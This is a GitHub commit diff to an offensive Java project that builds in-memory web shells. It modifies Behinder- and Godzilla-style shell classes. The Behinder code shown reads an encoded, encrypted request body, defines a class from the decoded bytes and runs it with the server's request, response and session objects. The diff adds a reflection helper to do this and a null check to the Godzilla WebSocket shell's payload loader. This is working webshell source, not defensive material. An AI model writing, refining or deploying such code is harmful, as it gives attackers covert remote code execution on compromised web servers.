Skip to content

Commit d73a696

Browse files
committed
feat: default asm agent
1 parent 639ea80 commit d73a696

File tree

2 files changed

+27
-4
lines changed

2 files changed

+27
-4
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java

Lines changed: 24 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -44,9 +44,7 @@ public boolean equals(Object obj) {
4444
map.put("request", request);
4545
map.put("response", getInternalResponse(response));
4646
map.put("session", session);
47-
Method getReader = request.getClass().getDeclaredMethod("getReader");
48-
getReader.setAccessible(true);
49-
String parameter = ((BufferedReader) getReader.invoke(request)).readLine();
47+
String parameter = ((BufferedReader) invokeMethod(request, "getReader")).readLine();
5048
byte[] bytes = x(base64Decode(parameter));
5149
Object instance = (new Behinder(this.getClass().getClassLoader())).g(bytes).newInstance();
5250
instance.equals(map);
@@ -122,4 +120,27 @@ public static byte[] base64Decode(String bs) {
122120
}
123121
return value;
124122
}
123+
124+
@SuppressWarnings("all")
125+
public static Object invokeMethod(Object obj, String methodName) {
126+
try {
127+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
128+
Method method = null;
129+
while (clazz != null && method == null) {
130+
try {
131+
method = clazz.getMethod(methodName);
132+
} catch (NoSuchMethodException e) {
133+
clazz = clazz.getSuperclass();
134+
}
135+
}
136+
if (method == null) {
137+
throw new NoSuchMethodException("Method not found: " + methodName);
138+
}
139+
140+
method.setAccessible(true);
141+
return method.invoke(obj instanceof Class ? null : obj);
142+
} catch (Exception e) {
143+
throw new RuntimeException("Error invoking method: " + methodName, e);
144+
}
145+
}
125146
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,9 @@ public void onMessage(ByteBuffer byteBuffer) {
5151
data = x(data, false);
5252
byte[] response = new byte[0];
5353
if (payload == null) {
54-
payload = Q(data);
54+
if (data != null) {
55+
payload = Q(data);
56+
}
5557
} else {
5658
java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
5759
Object obj = payload.newInstance();

0 commit comments

Comments
 (0)